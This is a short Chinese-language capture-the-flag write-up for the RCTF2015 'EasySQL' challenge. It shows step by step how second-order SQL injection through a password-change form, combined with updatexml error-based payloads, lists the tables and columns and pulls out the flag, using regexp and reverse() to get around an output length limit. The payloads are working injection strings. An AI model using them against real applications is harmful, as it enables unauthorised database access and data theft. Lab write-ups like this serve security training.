[RCTF2015]EasySQL
1、打开页面一看,有注册,有登录。先注册个号登录一下。
2、登录之后,点自己的用户名,发现可以修改密码。盲猜二次注入。
3、试了一下amind"#,密码改是改了,但没有什么有用的信息。
4、fuzz一下,发现过滤了这些东西
5、可以尝试报错注入
username=admin" || (updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_scema=database())),0x7e),1))%23&password=123456&email=213321
username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1))%23&password=123456&email=213321
username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1))%23&password=123456&email=213321
flag不在这。
再查
username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))%23&password=123456&email=213321
username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))%23&password=123456&email=213321
s
什么也没有,猜测是长度限制的问题,可以用正则试一下
username=admin"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))%23&password=123456&email=213321
有一半了:flag{82b7639a-0d81-424f-879a-92
再试试另一半
username=admin"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#&password=123456&email=213321
username=admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#&password=1&email=1
所以flag为:flag{82b7639a-0d81-424f-879a-9200cbe9e8d8}